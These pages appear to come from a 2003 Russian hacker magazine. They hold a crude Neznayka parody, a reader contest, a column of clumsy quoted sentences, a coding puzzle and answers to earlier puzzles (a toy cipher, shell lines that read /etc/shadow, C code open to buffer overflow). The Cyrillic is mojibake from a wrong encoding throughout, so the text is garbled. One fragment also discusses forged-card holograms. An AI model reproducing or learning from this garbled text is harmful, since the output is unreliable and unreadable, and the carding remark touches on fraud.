- Íó, ÷åãî âàì?<br />

- Äåíüãè åñòü?<br />

- Íå-à!<br />

- Íó-êà, Ïîí÷èê, ïîäïðûãíè!<br />

- Çà÷åì ýòî?<br />

- Ïîäïðûãíè, ÿ ñêàçàë!<br />

Ïîí÷èê ïîäïðûãíóë, è â åãî êàðìàíàõ ÿâñòâåííî<br />

çàçâåíåëà ìåëî÷ü.<br />

Íåçíàéêà äåëîâèòî âûãðåá èç êàðìàíîâ êîðîòûøêè<br />

äåíüãè, çàáðàë ñåáå ïîëîâèíó, à çàòåì äàë<br />

Ïîí÷èêó ïåíäàëÿ. Òîò õëþïíóë íîñîì è ïîáðåë â<br />

ìàêäàê.<br />

- Íó è êàêîé æå ýòî äîáðûé ïîñòóïîê? – óäèâèëñÿ<br />

Òîðîïûæêà.<br />

- Äà òû íå øàðèøü! Òåïåðü îí ïîòðàòèò íà ñâîè<br />

ñðàíûå ÷èçáóðãåðû â äâà ðàçà ìåíüøå è ïîõóäååò!<br />

Íó, è ãäå æå ìîÿ âîëøåáíàÿ ïàëî÷êà? Çàñëóæèë!<br />

Âíåçàïíî ïðîñòðàíñòâî âîêðóã Íåçíàéêè çàñâåòèëîñü<br />

âñåìè öâåòàìè ðàäóãè, è â åãî ðóêå âîçíèêëà<br />

âîëøåáíàÿ ïàëî÷êà. Ïàëî÷êà áûëà âñÿ â<br />

òðåùèíàõ, ñ íåå êàïàëà êàêàÿ-òî çåëåíàÿ ñëèçü,<br />

äà è âîîáùå âèäîê ó íåå áûë êðàéíå ñîìíèòåëüíûé.<br />

Íåçíàéêà õîòåë óæå âçìàõíóòü åé è çàãàäàòü<br />

æåëàíèå, êàê âäðóã Òîðîïûæêà ñõâàòèë åãî<br />

çà ðóêó è ñêàçàë:<br />

- Ñëóøàé, êàêàÿ-òî ñòðåìíàÿ ýòà ïàëî÷êà. Äàâàé<br />

ëó÷øå ïðîòåñòèðóåì åå ñíà÷àëà. Òîëüêî íå íà ñåáå!<br />

- À íà êîì?<br />

- Äà õîòü íà Ïîí÷èêå!<br />

- Íó ëàäíî! – Íåçíàéêà âçìàõíóë âîëøåáíîé ïàëî÷êîé.<br />

- Æåëàþ, ÷òîáû Ïîí÷èê óäèâèëñÿ! Ïðÿìî<br />

ñåé÷àñ!<br />

Ïîí÷èê ñèäåë â ìàêäàêå è, êàïàÿ ìàéîíåçîì íà<br />

øòàíû, çàïèõèâàë â ñåáÿ äâîéíîé ÷èçáóðãåð, êîãäà<br />

ðàçäàëñÿ øóì âèíòîâ äâóõ âåðòîëåòîâ, îñâåòèâøèõ<br />

çàáåãàëîâêó ìîùíûìè ïðîæåêòîðàìè.<br />

Åùå ÷åðåç ìãíîâåíèå ãðîìàäíûé ïðîìûøëåííûé<br />

ýêñêàâàòîð ðàçíåñ ñâîèì òÿæåëûì êîâøîì ïîëîâèíó<br />

ìàêäàêà, è â îáðàçîâàâøèéñÿ ïðîåì âîðâàëñÿ<br />

êðàñíîçíàìåííûé àíñàìáëü ïåñíè è ïëÿñêè<br />

èì. Àëåêñàíäðîâà è ãðîìîãëàñíî ãðÿíóë: “Ðîçïðÿãàéòå,<br />

õëîïöi, êîíåé. Òàé ëÿãàéòå ñïî-<br />

÷èâàòü! À ÿ ïiäó â ñàä çåëåíèé.  ñàä êðèíè÷åíüêó<br />

êîïàòü. Ìàðóñÿ, ðàç, äâà, òðè, êàëèíà.<br />

×îðíÿâàÿ äiâ÷èíà,  ñàäó ÿãîäè ðâàëà!!!”<br />

Ïîí÷èê óäèâèëñÿ…<br />

ÌÅÃÀÀÊÖÈß!<br />

Äîðîãîé çàñðàíåö, íàó÷íî-ïîïóëÿðíûé<br />

æóðíàë ][ ïðîäîëæàåò ñòèìóëèðîâàòü<br />

òâîè òâîð÷åñêèå ñïîñîáíîñòè! Íà ýòîò<br />

ðàç ïîáåäèòåëè áóäóò âûáèðàòüñÿ àæ<br />

ïî äâóì íîìèíàöèÿì:<br />

1. Ìåãà-ðåìåéê’2003<br />

2. Ìåãà-ïðàíê’2003<br />

Ìåãà-ðåìåéê – áåðåøü êàêîå-íèáóäü ýïîõàëüíîå<br />

ïðîèçâåäåíèå (Íåçíàéêó, Áóðàòèíó,<br />

Øåðëîêà Õîëìñà – ïîôèã ÷òî, âûáîð<br />

çà òîáîé) è ïîäâåðãàåøü åãî æåñòêîé îáðàáîòêå,<br />

äàáû îíî ñîîòâåòñòâîâàëî ñóðîâûì<br />

ðåàëèÿì ñîâðåìåííîñòè.<br />

Ìåãà-ïðàíê – òâîè áåñ÷åëîâå÷íûå òåëåôîííûå<br />

ýêñïåðèìåíòû íàä ñîãðàæäàíàìè.<br />

Åñëè òû õîòÿ áû ðàç çâîíèë â ñëóæáó<br />

ïñèõîëîãè÷åñêîé ïîääåðæêè è ãîâîðèë<br />

òåòå-ïñèõîëîãó, ÷òî òû – ëåñíîé äÿòåë<br />

Âóäè Âóäïåêåð, çíà÷èò, ó òåáÿ åñòü âñå<br />

øàíñû ñòàòü ïîáåäèòåëåì!<br />

Øëè ñâîè òåêñòû íà ñâÿùåííûé e-mail<br />

danya@danya.ru. Ïîáåäèòåëü â íîìèíàöèè<br />

“Ìåãà-ðåìåéê’2003” ïîëó÷èò â íàãðàäó<br />

èãðóøêó “ßäåðíûé Òèòáèò” (íàâîðî-<br />

÷åííûé DVD-áîêñ ñ ìîäíîé áðîøþðîé<br />

âíóòðè) ñ ìîèì àâòîãðàôîì è ïåðñîíàëüíûìè<br />

ðåñïåêòàìè. À ïîáåäèòåëü â íîìèíàöèè<br />

“Ìåãà-ïðàíê’2003” ïîëó÷èò â íàãðàäó<br />

e-mail àäðåñ @danya.ru (óëüòðàýêñêëþçèâ!<br />

òàêîãî íåò áîëüøå íè ó êîãî!!!).<br />

Íó è, êîíå÷íî æå, òåêñòû ïîáåäèòåëåé<br />

áóäóò îïóáëèêîâàíû íà ýòèõ ñàìûõ<br />

ñòðàíèöàõ! Òàê ÷òî, ïàðåíü, çàòàðèâàéñÿ<br />

÷èïñàìè, êîëîé – è âïåðåä…<br />

1 2 3 4<br />

106 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


X-Crew<br />

Þíèòû<br />

ËÀÌÀÐÀÇÌÛ<br />

Ó íàñ åñòü íåñêîëüêî ðóáðèê, êîòîðûå ñòðîÿòñÿ íà ïèñüìàõ ÷èòàòåëåé (FAQ,<br />

Hack-FAQ, e-ìåéë, Áîðäà). Èíîãäà íàì ïðèõîäèò òàêîå... íàðîäíîå òâîð÷åñòâî,<br />

÷òî óäåðæàòüñÿ è íå íàïå÷àòàòü ÝÒÎ íà ñòðàíèöàõ æóðíàëà ïðîñòî íåâîçìîæíî.<br />

Íî, îêàçûâàåòñÿ, ìû è ñàìè íå ëàïòåì ùè õëåáàåì, è, äàáû íå îòñòàâàòü îò âàñ<br />

â ïðîÿâëåíèÿõ ÷óäîâèùíîé èçîáðàçèòåëüíîé ñèëû ÿçûêà, ìû ðåøèëè îòêðûòü<br />

íîâóþ ðóáðèêó: Ëàìàðàçìû Õàêåðà. Äà-äà, ýòî ñàìûå íàñòîÿùèå, ïîäëèííûå<br />

ëàìàðàçìû, âûâåäåííûå ðóêàìè íàøèõ àâòîðîâ (ïîîòðûâàë áû...) è äîáëåñòíî<br />

îòëîâëåííûå íàøèìè ðåäàêòîðàìè (â îñîáåííîñòè, ëèòåðàòóðíûì). Enjoy!<br />

Âíèìàíèå! Âñå, ÷òî íàïå÷àòàíî íà ýòèõ ñòðàíèöàõ, ìîãëî áû ïîéòè â íîìåð!<br />

Åñëè òàêîâûå èìåþòñÿ, ñêðèïò ïîñûëàåò<br />

òåáå SMS íà òåëåôîí, â òåëå êîòîðîé<br />

áóäåò íàõîäèòüñÿ ïîñëåäíåå ïèñüìî ñ<br />

èíòåðåñóþùåãî ÿùèêà.<br />

ß óâåðåí, ÷òî òû áû íå õîòåë ïîëó÷èòü ïî<br />

SMS âñþ ïîýìó Åâãåíèÿ Îíåãèíà íà<br />

äðåâíåðóññêîì ÿçûêå =)<br />

Ïîñëå âñåãî âûøåèçëîæåííîãî, ïîïûòàþñü<br />

ïðîäåêëàìèðîâàòü ñàì ñêðèïò<br />

Ìû æå íàïèøåì ôîðóì, óïèðàÿñü<br />

â íåñêîëüêî èíóþ êîíöåïöèþ<br />

ïðîãðàììèðîâàíèÿ<br />

Ñòîèò ëè ãîâîðèòü, ÷òî ðàçîáðàòüñÿ â òàêèõ<br />

ïðèëîæåíèÿõ òðåçâîìó ÷åëîâåêó ìîæåò<br />

îêàçàòüñÿ íåòðèâèàëüíîé çàäà÷åé.<br />

ïîýòîìó òåîðåòè÷åñêè âåðîÿòíîñòü âçëîìà<br />

Web-ñåðâåðà óâåëè÷èâàåòñÿ â ÷èñëî<br />

çàêðåïëåííûõ çà èìåíåì IP-àäðåñîâ ðàç.<br />

êàêîé-òî ýêçîòè÷åñêèé SQL ñåðâåð, äàëåêî<br />

íå ïîõîæèé íà mysql èëè postrgesql.<br />

Òàê ÷òî óæ, ïî êðàéíåé ìåðå,<br />

ôóíêöèþ àâòîðèçàöèè ïîëüçîâàòåëÿ<br />

ñëåäóåò ïèñàòü êàê ñëåäóåò.<br />

Ëþáîìó ìàëî-ìàëüñêè çíàêîìîìó<br />

÷åëîâåêó ñ èíòåðíåòîì èçâåñòíû òàêèå<br />

ïðîãðàììû-êà÷àëêè, êàê:<br />

Çàëïîì äîïèâ áóòûëêó äî äíà, ñîçíàíèå<br />

íà÷àëî ïîñòåïåííî ïðèõîäèòü ê ãëàâíîìó<br />

ðåäàêòîðó.<br />

ß íå äóìàþ, ÷òî ýòè ëþäè íåäîñòàòî÷íî<br />

êðóòû, ÷òîáû íå ìî÷ü çàâåñòè ñåáå<br />

êðåäèòíóþ êàðòó.<br />

âñÿ íàäåæäà ëåæèò íà<br />

êîñìè÷åñêèõ ðåéíäæåðàõ.<br />

áûë êóïëåí èì íà çàðàáîòàííûå â<br />

ïîòå è êðîâè ëèöà äåíåæêè<br />

Ê ñ÷àñòüþ, óæå äàâíî íàøëèñü ëþäè,<br />

êîòîðûå âûêëàäûâàþò ñâîè<br />

êîìïîíåíòû íà âñåîáùåå þçàíüå.<br />

Åñëè ïðèñòàëüíî ïðèñìîòðåòüñÿ â ñóòü<br />

ïðîáëåìû çàùèòû èíôîðìàöèè,<br />

Þíèòîâ ñëèøêîì ìíîãî, ÷òîáû èìè<br />

ðàçäóìàíî óïðàâëÿòü.<br />

Íàêîíåö-òî ðàçðàáîò÷èêàì óäàëîñü<br />

çàñòàâèòü èãðîêà èãðàòü òàêòè÷íî, ñêðûòíî.<br />

Õîòÿ ïðîãðåññ ïî ñðàâíåíèþ ñ<br />

ïðåäûäóùèìè ÷àñòÿìè íà ëèöî.<br />

Ñ ðîñòîì<br />

ïðîèçâîäèòåëüíîñòè<br />

íàáèðàþò îáîðîòû è<br />

òåïëîâûäåëåíèÿ.<br />

Ðàçðàáîò÷èêè óïðîñòèëè âñå â êîíåö<br />

Òîëüêî íà ñåé ðàç ýòî ãîðäîå<br />

íàçâàíèå áóäåò íåñòè íà ñåáå<br />

ìàòåðèíêà ASUS P4PE<br />

Ýòî ïèñüìî åùå ðàç ïîêàçàëî î<br />

íàïëåâàòåëüñêîì îòíîøåíèè ê êëèåíòàì ñî<br />

ñòîðîíû àäìèíèñòðàòîðîâ.<br />

Íî èãðàòü â íåå – ÷èñòåéøåå óïîåíèå.<br />

Èñïîëüçóåìàÿ çäåñü èíôîðìàöèÿ íå<br />

ïðîïàãàíäèðóåò ÷èòàòåëÿ ê äåéñòâèÿì,<br />

Áîëåå òîãî, ïîÿâèëàñü ìàññà îòëè÷íûõ<br />

ïðîãðàìì, ñïîñîáíûõ ñîñòàâèòü<br />

ðåàëüíóþ êîíôåðåíöèþ âñåìó òîìó, ÷òî<br />

îïèñûâàëîñü ðàíåå.<br />

Ê òîìó æå, íà íåãî íàòðàâèëè áû äàëåêî íå<br />

îäíó ñòàòüþ, òàê êàê âçëîì áûë íå èç<br />

ëþáèòåëüñêèõ ïîáóæäåíèé.<br />

Èíà÷å çàêðûâàåì ñîêåò è ïðèñâàèâàåì<br />

èäåíòèôèêàòîðó çíà÷åíèå "-1",<br />

âïîñëåäñòâèè ñ÷èòàåìûì êàê ìåðòâûé.<br />

Îò÷àÿâøèñü â òàêîì<br />

ðàñêëàäå, õàêåð çàøåë<br />

â ïàïêó /etc.<br />

Ñ ïåðâîãî âçãëÿäà áðîñèëñÿ ÷óòü<br />

èçìåíåííûé èíòåðôåéñ.<br />

Öèôðîâîé ñèãíàë - ïîñëåäîâàòåëüíîñòü èç<br />

íîëåé è åäèíèö îáû÷íî âûãëÿäèò<br />

ýëåêòðè÷åñêè, êàê ñòóïåíüêè.<br />

1 2 3 4<br />

108 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


Ïå÷àòàòü ýòî ïðîáëåì íåò (òàê<br />

æå, êàê è íå ïå÷àòàòü).<br />

Ó íèõ áûëè âçàèìíûå<br />

èíòåðåñû è âçãëÿäû íà<br />

æèçíü<br />

Îò òåáÿ îñòàëîñü,<br />

îïÿòü æå, ñäåëàòü<br />

ñêðèïò äëÿ dump'à<br />

ðåçóëüòàòîâ<br />

ñòàòèñòèêè,<br />

Ðàçðàáîò÷èêè óïðîñòèëè âñå â êîíåö<br />

Ìîæíî ðèñîâàòü ÓÔ èëè íåò - íî âñå æå<br />

êàê ïî ìíå - ïðèÿòíåå, ÷òî íà ýëåêòðîíå,<br />

ñîãëàñíî âûøåïðèâåäåííîìó îïèñàíèþ,<br />

åãî ìîæåò è íå áûòü<br />

èññëåäîâàòåëè, ñòðåìèâøèåñÿ ê çíàíèÿì,<br />

íî çàíåñåííûå ïîä îäíó ãðåáåíêó ñî<br />

ñâîèìè "òåìíûìè" ñîáðàòüÿìè.<br />

Ñ îäíîé ñòîðîíû ýòî î÷åíü ïðèÿòíî è<br />

ïîëåçíî, íî ñ äðóãîé ýòî âñêðûâàåò ïîðîê<br />

âñåõ íîóòáóêîâ.<br />

Óâû, ó ýòîé òåíäåíöèè<br />

åñòü è îáðàòíàÿ<br />

ñòîðîíà ìîíåòû.<br />

Ñöåíàðèñòû îòîøëè îò ïðåñëîâóòûõ è<br />

ïîøëûõ øóòîê è íàäåëèëè ñþæåò (êñòàòè,<br />

î÷åíü ñõîæèé ñ êíèæíûì) çàáàâíûì è<br />

âåñåëûì îòòåíêîì.<br />

Ê òîìó âðåìåíè êîìïüþòåðíûå<br />

òåõíîëîãèè óæå ïðèñòóïèëè ê<br />

áóðíîìó ðàçâèòèþ<br />

ïðè åãî êîíôèãóðàöèè ÿ<br />

îñíîâûâàëñÿ íà "ìàññû",<br />

Ê ïðèìåðó, ïóñòü ýòà<br />

èíôîðìàöèÿ áóäåò<br />

çàïèñûâàòüñÿ â<br />

ñïåöèàëüíûé ôàéë<br />

êàæäûé äåíü,<br />

Ñ ïåðâîãî âçãëÿäà áðîñèëñÿ ÷óòü<br />

èçìåíåííûé èíòåðôåéñ.<br />

ò.å. íå ïðîâåðÿåò áîëüøå ëè<br />

òîò îòêóäà, òîãî êóäà ;)<br />

Âçëîìùèê ê òîìó âðåìåíè ïåðåíîñèë<br />

åùå ëåãêóþ ñòàäèþ èíòåðíåòçàâèñèìîñòè,<br />

à â ïëàíå âçëîìà áûë åùå<br />

íèêòî èíîé, êàê ñêðèïòêèääè,<br />

Äóìàþ, ó òåáÿ óéäåò íåìàëî<br />

âðåìåíè, ïðåæäå ÷åì íàäîåñò<br />

âñå, ÷òî óñïåëè íàñî÷èíÿòü íà<br />

J2ME äëÿ òâîåãî òåëåôîíà!<br />

ß õîòåë ëèøü ïîêàçàòü, êòî òàêèå êàðäåðû,<br />

÷åì îíè çàíèìàþòñÿ, è ïî÷åìó äåëàþò<br />

îäèí âûáîð, à íå äðóãîé.<br />

Ëèáî îíè áûëè ïðèåìëåìûìè (ìîæíî ïîíÿòü<br />

çíà÷åíèå ýòîãî ñëîâà) ïî êà÷åñòâó, íî äîëæíû<br />

áûëè íàêëåèâàòüñÿ, ÷òî ïîçâîëÿåò, ïîäöåïèâ<br />

ãîëîãðàììó íîãòåì, ñîäðàòü åå, ÷òî ñðàçó æå<br />

âûäàâàëî ïîääåëêó - êðîìå òîãî, ïðîâåäÿ ïàëüöåì<br />

ïî êàðòå, ÷óâñòâóåòñÿ ïåðåõîä ìåæäó ãîëîãðàììîé<br />

è ïîâåðõíîñòüþ ïëàñòèêà, ëèáî ãîëîãðàììû áûëè â<br />

ëåíòàõ, ÷òî ïîçâîëÿëî èõ âïàèâàòü â êàðòó íà<br />

ñïåöèàëüíîì îáîðóäîâàíèè, íî ñàìî êà÷åñòâî<br />

ãîëîãðàììû îñòàâëÿëî æåëàòü ìíîãî ëó÷øåãî.<br />

Ëàìàðàçìû îòëàâëèâàåò ëèò.ðåä<br />

Ìàðèÿ Àëüäóáàåâà aka Ëèñà<br />

5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8<br />

Åñëè òû ñ÷èòàåøü ñåáÿ êîäåðîì, òî ó òåáÿ åñòü<br />

øàíñ, íå íàïðÿãàÿñü, âûèãðàòü îäèí èç ïðèçîâ îò<br />

Defender, äîñòàòî÷íî ïðîñòî ðåøèòü íàøó êîäåðñêóþ<br />

çàäà÷êó è îòïðàâèòü ïðàâèëüíûé îòâåò íà<br />

magazine@real.xakep.ru. Åñëè òû íå êîäåð, âñå<br />

ðàâíî ïîïðîáóé - âäðóã ïîëó÷èòñÿ?<br />

Ñìûñë òàêîé: ó íàñ åñòü áåñêîíå÷íàÿ øêàëà öåëûõ<br />

÷èñåë (ïðåäñòàâü ñåáå ëèíåéêó, îáå ñòîðîíû êîòîðîé<br />

ðàñõîäÿòñÿ îò íóëÿ â áåñêîíå÷íîñòü). Íà ýòó<br />

ëèíåéêó íà ïàðàøþòàõ ñïóñêàþòñÿ äâà ðîáîòà-äèâåðñàíòà,<br />

íåñóùèõ íà ñåáå ÿäåðíûå çàðÿäû. Îíè<br />

ïðèçåìëÿþòñÿ îäíîâðåìåííî, íî â ðàçíûõ òî÷êàõ.<br />

Ñáðàñûâàþò ïàðàøþòû è íà÷èíàþò äåéñòâîâàòü,<br />

ñîãëàñíî çàëîæåííîé â íèõ ïðîãðàììå. Ïðîãðàììà<br />

ó îáîèõ îäíà è òà æå. Îíà îïèñûâàåò èõ äâèæåíèå<br />

ñ ïîìîùüþ ÷åòûðåõ îïåðàòîðîâ:<br />

[]: Left - êîìàíäà ïðèêàçûâàåò ðîáîòó<br />

ñäåëàòü øàã âëåâî<br />

[]: Right - êîìàíäà ïðèêàçûâàåò ðîáîòó<br />

ñäåëàòü øàã âïðàâî<br />

[]: GoTo - êîìàíäà îòñûëàåò<br />

ðîáîòà íà óêàçàííóþ ñòðî÷êó êîäà<br />

[]: PGoTo - òî æå, ÷òî è ïðåäûäóùàÿ<br />

êîìàíäà, íî âûïîëíÿåòñÿ îíà òîëüêî â òîì<br />

ñëó÷àå, åñëè ðîáîò íàõîäèòñÿ íà òî÷êå ïðèçåìëåíèÿ<br />

(ñâîåé èëè äðóãîãî ðîáîòà, ò.å. â îäíîé èç<br />

äâóõ òî÷åê, ãäå îíè ñáðîñèëè ïàðàøþòû)<br />

Íà ïåðâûé âçãëÿä, îáà ðîáîòà äîëæíû ïðûãàòü ïî<br />

øêàëå, íèñêîëüêî íå ìåøàÿ äðóã äðóãó, îäíàêî íå<br />

â ýòîì íàøà öåëü. Ïîìíèøü, ÷òî îíè íåñóò ÿäåðíûé<br />

çàðÿä? Çíà÷èò, íàäî ñäåëàòü òàê, ÷òîáû îíè<br />

ðàíî èëè ïîçäíî âñòðåòèëèñü è óñòðîèëè ëîêàëüíûé<br />

Àðìàãåääîí. Ñîîòâåòñòâåííî, òåáå íóæíî íàïèñàòü<br />

ïðîãó, êîòîðàÿ çàïðîãðàììèðóåò íàøèõ<br />

æåëåçíûõ êàìèêàäçå òàêèì îáðàçîì, ÷òîáû îíè<br />

âñå æå îêàçàëèñü â îäíîé òî÷êå. Âàæíîå äîïîëíåíèå:<br />

êîä ìîæåò èñïîëüçîâàòü òîëüêî ýòè ÷åòûðå<br />

îïåðàòîðà, îí äîëæåí áûòü êàê ìîæíî êîðî÷å è,<br />

ñàìîå ãëàâíîå, èìåé â âèäó ÷òî êàæäûé îïåðàòîð<br />

âûïîëíÿåòñÿ ðîâíî îäíó ñåêóíäó, íå çàâèñèìî îò<br />

òîãî, ïåðåäâèíåòñÿ ðîáîò èëè îñòàíåòñÿ íà ìåñòå.<br />

֏!<br />

àêóñòè÷åñêàÿ ñèòåìà<br />

Defender Mercury 50<br />

wwwwww..deeffendderr..rru<br />

Áåñïðîâîäíàÿ îïòè÷åñêàÿ ìèíè-ìûøü<br />

DEFENDER 1450 UP PS/2+USB<br />

Áåñïðîâîäíàÿ îïòè÷åñêàÿ<br />

ìûøü DEFENDER 1480<br />

Defender íà Êîìòåêå:<br />

B609


Þíèòû<br />

X-PUZZLE<br />

Èâàí Ñêëÿðîâ (Sklyarov@real.xakep.ru)<br />

ÎÒÂÅÒÛ Ê ÏÐÅÄÛÄÓÙÅÌÓ ÂÛÏÓÑÊÓ X-PUZZLE<br />

Îòâåò íà ïàçë #1<br />

«CryptFuck»<br />

CryptFuck v1.1 çàøèôðîâàë ñëîâî<br />

«Ash», ñëåäóþùèì îáðàçîì:<br />

E=xnnb<br />

Àëãîðèòì øèôðîâàíèÿ ñëåäóþùèé:<br />

êàæäûé ñèìâîë â øèôðóåìîì<br />

ñëîâå çàìåíÿåòñÿ äâóìÿ<br />

ñèìâîëàìè, ïåðâûé èç êîòîðûõ<br />

ïîëó÷àåòñÿ ïðèáàâëåíèåì 4 ê ïîðÿäêîâîìó<br />

íîìåðó ñèìâîëà â<br />

ñëîâå (ïîðÿäêîâûå íîìåðà íà÷èíàþòñÿ<br />

ñ íóëÿ) è ê åãî êîäó ASCII<br />

(èëè Unicode, â äàííîì ñëó÷àå íå<br />

ïðèíöèïèàëüíî), à âòîðîé ñèìâîë<br />

- âû÷èòàíèåì 4 è ïîðÿäêîâîãî<br />

íîìåðà èç êîäà ñèìâîëà â<br />

ñëîâå. Òàê ëàòèíñêàÿ áóêâà «A» â<br />

ñëîâå «Ash» áóäåò çàøèôðîâàíà<br />

äâóìÿ ñèìâîëàìè «E=», ò. ê. êîä<br />

áóêâû «A» â òàáëèöå ASCII ðàâåí<br />

65, à ïîðÿäêîâûé íîìåð â ñëîâå<br />

0, òî 65+0+4=69 (äåñÿòè÷íûé<br />

êîä áóêâû «E»), à 65-0-4=61 (äåñÿòè÷íûé<br />

êîä çíàêà «=»), ñëåäóþùàÿ<br />

áóêâà «s» áóäåò èìåòü ïîðÿäêîâûé<br />

íîìåð 1, à êîä â òàáëèöå<br />

ASCII 115, ñëåäîâàòåëüíî,<br />

ïî òåì æå ñîîáðàæåíèÿì, îíà áóäåò<br />

çàøèôðîâàíà ñèìâîëàìè<br />

«xn» è ò. ä.<br />

Ñîìíåíèå â äóøó M.J.Ash’à çàêðàëîñü<br />

ïîñëå òîãî, êàê îí çàìåòèë,<br />

÷òî â îáîèõ ñëó÷àÿõ ïîëó÷åííûé<br />

øèôð ñëîâ «Xakep» è<br />

«pekaX» èìååò îäèíàêîâóþ êîìáèíàöèþ<br />

ñèìâîëîâ â ñåðåäèíå<br />

«qe» (áóêâà «k»), õîðîøèé àëãîðèòì<br />

òàêîãî, åñòåñòâåííî, äîïóñêàòü<br />

íå äîëæåí.<br />

Îòâåò íà ïàçë #2<br />

«Ëîìêà ìîçãîâ â êîíñîëè»<br />

Ïåðâàÿ ñòðîêà èùåò âñå coreôàéëû,<br />

ôàéëû íóëåâîãî ðàçìåðà<br />

èëè ôàéëû ñ ðàñøèðåíèåì, íà-<br />

÷èíàþùèìñÿ íà öèôðó â äèàïàçîíå<br />

îò 0 äî 9, ñ ïðàâàìè äîñòóïà<br />

äëÿ âûïîëíåíèÿ (ïðîñìîòðà)<br />

è äëÿ çàïèñè ïðî÷èìè ïîëüçîâàòåëÿìè,<br />

ê êîòîðûì îáðàùàëèñü<br />

áîëåå 30 äíåé íàçàä, çàòåì âûäàåò<br />

çàïðîñ íà èõ óäàëåíèå.<br />

Âòîðàÿ ñòðîêà âûâîäèò ñòðîêè ñ<br />

èõ ïîðÿäêîâûì íîìåðîì èç ôàéëà<br />

/etc/shadow, èìåþùèå â ÷åòâåðòîì<br />

ïîëå 0 è äëèíó ïåðâîãî<br />

ïîëÿ áîëåå ÷åòûðåõ ñèìâîëîâ. Â<br />

êà÷åñòâå ðàçäåëèòåëÿ ïîëåé âûáðàíî<br />

äâîåòî÷èå.<br />

Òðåòüÿ ñòðîêà âûäàåò èíôîðìàöèþ<br />

î òåêóùåì ïîëüçîâàòåëå íà<br />

ýêðàíå ñ îòñòóïîì âïðàâî íà 18<br />

ïîçèöèé ìèãàþùèì òåêñòîì<br />

êðàñíîãî öâåòà íà ãîëóáîì ôîíå,<br />

çàòåì âîññòàíàâëèâàåò ÷åðíûé<br />

ôîí ñ áåëûì òåêñòîì è ñáðàñûâàåò<br />

àòðèáóòû (ìèãàíèå).<br />

×åòâåðòàÿ ñòðîêà â ôîíîâîì ðåæèìå<br />

îáúåäèíÿåò ôàéëû a.o è<br />

b.o è ïåðåäàåò óòèëèòå grep, êîòîðàÿ<br />

âûáèðàåò â íèõ âñå ñòðîêè,<br />

íå ñîäåðæàùèå ñëîâî root,<br />

íå ó÷èòûâàÿ ïðè ýòîì ðåãèñòðà,<br />

çàòåì ïðîèñõîäèò ñîðòèðîâêà è<br />

çàïèñü â äîìàøíþþ äèðåêòîðèþ,<br />

â ôàéë ñ èìåíåì ab.$$, ãäå<br />

$$ – íîìåð òåêóùåãî ïðîöåññà.<br />

Ïÿòàÿ ñòðîêà âûïîëíÿåò ïåðåçà-<br />

ãðóçêó ñèñòåìû ïðè ïîëó÷åíèè<br />

ñèãíàëà ñ íîìåðîì 3 (SIGQUIT).<br />

Îòâåò íà ïàçë #3<br />

«Õóäîæåñòâà íà HTML»<br />

Êîä HTML, ðèñóþùèé àìåðèêàíñêèé<br />

ôëàã ïîêàçàí íèæå. Ðåàëèçóåòñÿ<br />

ýòî ñ ïîìîùüþ îáû÷íûõ<br />

òàáëèö, äóìàþ, äðóãèå êîììåíòàðèè<br />

çäåñü èçëèøíè.<br />

<br />

<br />

<br />

<br />

* * * * * * * *<br />

* * * * * * * *<br />

* * * * * * * *<br />

* * * * * * * *<br />

* * * * * * * *<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

Îòâåò íà ïàçë #4<br />

«BUFFER OVERFLOW»<br />

Âñå òðè êóñêà ïîòåíöèàëüíî ïîäâåðæåíû<br />

îøèáêå ïåðåïîëíåíèÿ<br />

áóôåðà.<br />

Ïåðâûé êóñîê êîäà îñóùåñòâëÿåò<br />

÷òåíèå ñèìâîëîâ â áóôåð äî ââîäà<br />

êîíöà ôàéëà (EOF). Ò. ê. ãðàíè÷íûå<br />

ïðîâåðêè îòñóòñòâóþò, òî<br />

äàííûé êîä ïîòåíöèàëüíî ïîäâåðæåí<br />

ïåðåïîëíåíèþ áóôåðà.<br />

Âî âòîðîì è òðåòüåì êóñêàõ èñïîëüçîâàíû<br />

ñòàíäàðòíûå ôóíêöèè<br />

ÿçûêà Ñè: gets() è strcpy(),<br />

íå îñóùåñòâëÿþùèå ïðîâåðêó<br />

íà âûõîä èç âûäåëåííîé îáëàñòè<br />

ïàìÿòè, à ïîòîìó òàêæå ÿâëÿþùèåñÿ<br />

ïîòåíöèàëüíî ïîäâåðæåííûìè<br />

îøèáêå ïåðåïîëíåíèÿ<br />

áóôåðà.<br />

«ÏÐÎÉÄÈÑÜ ÄÅÁÀÃÃÅÐÎÌ ÏÎ ÑÂÎÈÌ ÌÎÇÃÀÌ!»<br />

Íå ñòåñíÿéñÿ ïðèñûëàòü ìíå ñâîè îòâåòû, äàæå åñëè òû ñìîã îòâåòèòü âñåãî<br />

íà îäèí ïàçë, ÿ ñ èíòåðåñîì ïî÷èòàþ òâîè îðèãèíàëüíûå ðåøåíèÿ. Íó, à<br />

èìåíà ãåðîåâ, êîòîðûå ïåðâûìè ïðàâèëüíî îòâåòÿò íà âñå âîïðîñû, êîíå÷íî<br />

æå, áóäóò îïóáëèêîâàíû â æóðíàëå, ÷åì ïðîñëàâÿòñÿ íà âñþ Ðîññèþ (è íå<br />

òîëüêî) è íàâå÷íî âîéäóò â èñòîðèþ Õ. Ïðèç çà íàìè íå çàðæàâååò. ;)<br />

Íî ïîìíè: â áîëüøèíñòâå ñëó÷àåâ âàðèàíò îòâåòà çàñ÷èòûâàåòñÿ êàê<br />

ïðàâèëüíûé, òîëüêî åñëè ê íåìó ïðèëîæåíî ïîäðîáíîå è ÂÅÐÍÎÅ<br />

îáúÿñíåíèå, ïî÷åìó âûáðàí èìåííî ýòîò âàðèàíò, à íå êàêîé-ëèáî äðóãîé.<br />

1 ïðèç 2 ïðèç<br />

Ðàä ñîîáùèòü, ÷òî âñå ïîáåäèòåëè<br />

â ýòîì íîìåðå<br />

ïîëó÷àþò çàñëóæåííûå<br />

ïðèçû, ò. ê. äàëè ÏÎË-<br />

ÍÎÑÒÜÞ ïðàâèëüíûå îòâåòû.<br />

Ïî ñïðàâåäëèâîñòè<br />

ÿ ðåøèë ðàñïðåäåëèòü<br />

ìåñòà â òîì ïîðÿäêå, â êàêîì<br />

êî ìíå ïðèõîäèëè îòâåòû.<br />

Ò. å. íà ïåðâîì ìåñòå<br />

òîò, êòî ïðèñëàë ñâîè<br />

